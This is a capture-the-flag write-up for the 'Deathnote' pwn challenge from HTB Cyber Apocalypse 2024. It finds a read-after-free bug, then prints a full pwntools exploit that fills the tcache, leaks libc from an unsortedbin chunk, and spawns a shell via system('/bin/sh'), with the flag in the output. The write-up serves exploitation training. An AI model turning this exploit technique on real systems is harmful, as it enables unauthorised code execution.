# Deathnote
## Description
> You stumble upon a mysterious and ancient tome, said to hold the secret to vanquishing your enemies. Legends speak of its magic powers, but cautionary tales warn of the dangers of misuse.>> [Attached file](https://github.com/JOvenOven/ctf-writeups/tree/main/Cyber_Apocalypse_2024_Hacker_Royale/pwn/deathnote/challenge)
Tags: _Pwn_ \Difficulty: _medium_ \Points: _325_
## Recognition phase
Running the usual recognition commands:
```$ file deathnotedeathnote: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=1e15d6c20dbec3b5ef262d74afd3861bd60a7cbd, for GNU/Linux 3.2.0, not stripped```
```$ checksec deathnote[*] '/home/jovenoven/Downloads/ctf/cyberApocalypse2024_HTB/pwn/deathnote/deathnote'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled    RUNPATH:  b'./glibc/'```
```$ ./deathnote...-_-_-_-_-_-_-_-_-_-_-_                                                           |                     |                                                          |  01. Create  entry  |                                                          |  02. Remove  entry  |                                                          |  03. Show    entry  |                                                          |  42. ¿?¿?¿?¿?¿?¿?   |                                                          |_-_-_-_-_-_-_-_-_-_-_|                                                           ?  ```
The menu strongly suggests that it's a heap related challenge, as it includes familiar options such as ``create,`` ``remove,`` and ``show.`` The ``create`` option allows us to allocate a chunk in the heap of up to size 0x90. ``Remove`` simply frees a specified chunk, while ``show`` prints the contents of a chunk. This information was gathered by debugging with ``GDB``. Additionally, there's another option whose functionality is unclear from its name, ``¿?¿?¿?¿?¿?¿?``. However, when executed, the program simply crashes with a segmentation fault.
## Finding the bug
The ``show`` option exhibits a ``read-after-free`` bug, allowing us to leak addresses from malloc metadata of freed chunks.
During debugging, I observed that selecting option 42, ``¿?¿?¿?¿?¿?¿?``, triggers the program to execute the memory region pointed to by the address written in the chunk labeled with ``page 0,`` passing the ``page 1`` chunk as a parameter. Although I'm uncertain about this behavior, my exploit still succeeded, assuming it to be true.
## Exploitation phase
Since there aren't any useful functions to execute within the ``ELF`` file, our objective is to somehow leak the ``libc`` address. In heap challenges, it's common to achieve this by reading metadata from an ``unsortedbin`` chunk,  and it is possible with the ``read-after-free`` bug we have at hand, we only need to create an `unsortedbin` chunk and read its metadata with the `show` function to leak the unsortedbin address in libc and calculate the libc base address with it. Finally, we can use the arbitrary code execution bug to call ``system(/bin/sh)`` and spawn a shell.
This summarizes the approach outlined in the following exploit script.
```Python#!/usr/bin/python3from pwn import *
# Set up the target binary by specifying the ELF fileelf = context.binary = ELF("deathnote")libc = libc = ELF(elf.runpath + b"/libc.so.6")
# Defining the GDB script that will be used when running the# binarygs = '''continue'''
# Launch the binary with GDB, without GDB or REMOTE based on# the command-line argumentsdef start():    if args.REMOTE:        return remote("94.237.63.46", 39443)    else:        if args.GDB:            return gdb.debug(elf.path, gdbscript=gs)        else:            return process(elf.path)
def malloc(size, idx, data):    io.sendline(b"1")    io.sendlineafter("? ", f"{size}".encode())    io.sendlineafter("? ", f"{idx}".encode())    io.sendlineafter("? ", data)    io.recvuntil("? ")
def free(idx):    io.sendline(b"2")    io.sendlineafter("? ", f"{idx}".encode())    io.recvuntil("? ")
def read(idx):    io.sendline(b"3")    io.sendlineafter("? ", f"{idx}".encode())    io.recvuntil(b": ")    data = io.recvuntil("? ")    return data
def call():    io.sendline(b"42")
io = start()
#============================================================#                    EXPLOIT GOES HERE#============================================================
# Allocate all necessary chunksmalloc(128, 0, b"A")malloc(128, 1, b"A")malloc(128, 2, b"A")malloc(128, 3, b"A")malloc(128, 4, b"A")malloc(128, 5, b"A")malloc(128, 6, b"A")malloc(128, 7, b"A")malloc(128, 8, b"A") # Guard against consolidation with the top chunk
# Fill the tcache bin of size 0x90 to ensure the next 0x90 freed chunk# goes into the unsortedbin.free(0) # 0x90 tcache 1free(1) # 0x90 tcache 2free(2) # 0x90 tcache 3free(3) # 0x90 tcache 4free(4) # 0x90 tcache 5free(5) # 0x90 tcache 6free(6) # 0x90 tcache 7free(7) # unsortedbin
# Leak the unsortedbin address which is in libcdata = read(7)
# Calculate libc address by substracting the leaked unsortedbin address# with its offset in libclibc.address = u64(data[:6] + b"\x00\x00") - 0x21ace0info("libc @ 0x%x", libc.address)
# Setting up the parameters to call system(/bin/sh)system = hex(libc.sym.system)malloc(128, 0, f"{system}")malloc(128, 1, "/bin/sh\0")
# Call system(/bin/sh) with the 42 program optioncall()
#============================================================
# Interact with the processio.interactive()```
```$ ./xpl.py REMOTE
...
[*] Switching to interactive mode   ܀ ܀ ܀  ܀ ܀  ܀  ܀                                                               ܀  ܀   ܀ ܀   ܀  ܀  ܀                                                             ܀ Б ᾷ Ͼ Ҡ ܀  Ծ Փ Փ  ܀                                                            ܀  ܀   ܀   ܀   ܀  ܀  ܀                                                           ܀܀   ܀    ܀   ܀  ܀܀ ܀                                                              [!] Executing § ƥ Ḝ Ƚ Ƚ !                                                        $ lsdeathnoteflag.txtglibc$ cat flag.txtHTB{0m43_w4_m0u_5h1nd31ru~uWu}```
\Flag `HTB{0m43_w4_m0u_5h1nd31ru~uWu}`